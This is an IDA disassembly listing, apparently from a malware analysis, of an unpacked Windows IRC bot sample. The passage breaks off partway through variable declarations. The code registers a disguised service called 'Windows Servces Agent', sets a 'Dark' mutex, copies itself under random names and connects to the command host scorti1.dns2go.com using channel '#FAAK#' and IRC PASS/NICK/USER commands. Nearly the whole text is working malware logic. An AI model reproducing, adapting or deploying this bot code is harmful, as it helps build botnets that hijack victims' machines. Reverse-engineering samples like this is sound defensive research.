;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	695957AB99909C4F6090491449146924

; File Name   :	u:\work\695957ab99909c4f6090491449146924_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_418359+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsServces ; "Windows Servces Agent"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CAF28
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAF98
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAED8


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CAF50
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416643p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43DEBC
		call	dword_4CB00C
		call	sub_40B2BF
		call	dword_4CAECC
		call	dword_4CAECC
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D128
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2690000h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2670C08h
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D120
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	near ptr 77E75CB5h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418684
		pop	ecx
		mov	dword_4CACB0, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CACB4, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B12
		push	2
		call	dword_4CB020
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		call	near ptr 26A06D3h
		nop
		push	eax
		nop
		call	near ptr 26A060Ah
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	near ptr 77E75CB5h
		nop


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CAEE4
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2690000h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		call	near ptr 26A0574h
		nop
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_4293C4
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_4293BC
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 26A047Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 26A0305h


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 2690DCCh
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 26903FCh
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418293
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 26A0305h
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D128
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 2690DADh
		push	eax
		push	esi
		push	100000h
		call	near ptr 26907A1h
		nop
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_4293B0
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2670C08h
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		nop
		call	near ptr 26903FCh
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CAECC
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB294, 2
		jle	short loc_401562
		mov	eax, dword_4DB298
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 26A060Ah
		push	esi
		nop
		call	near ptr 2670858h
		mov	eax, dword_4DB298
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 26903FCh
		mov	eax, dword_4DB298
		push	dword ptr [eax+8]
		nop
		call	near ptr 26906ADh


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB044, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429394
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F6
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	0B80h
		push	ebx
		push	offset dword_43D130
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429370
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset dword_419A00
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 2690DCCh
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429330
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	2
		call	sub_40B33E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429304
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[esi], eax
		jnz	short loc_40169A
		call	near ptr 2690DCCh
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4292D0
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CACBC
		mov	dword_4CAE28, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CAD3C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CAD7C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CAE10, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CACB8
		mov	dword_4CAE24, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CAE24, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 26903FCh
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CACBC
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CACBC
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CAE0C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2BF


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CAECC


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CAF74
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAF9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08D
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43DEC8
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CAFF4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43DEBC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB00C
		call	sub_40AB22
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 26903FCh
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_4293CC
		call	sub_415220
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB00C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CAE20, bl
		jz	short loc_40199A
		push	offset byte_4CAE20
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2C
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB00C
		push	1388h
		nop
		call	near ptr 26903FCh


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F7F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 26903FCh
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
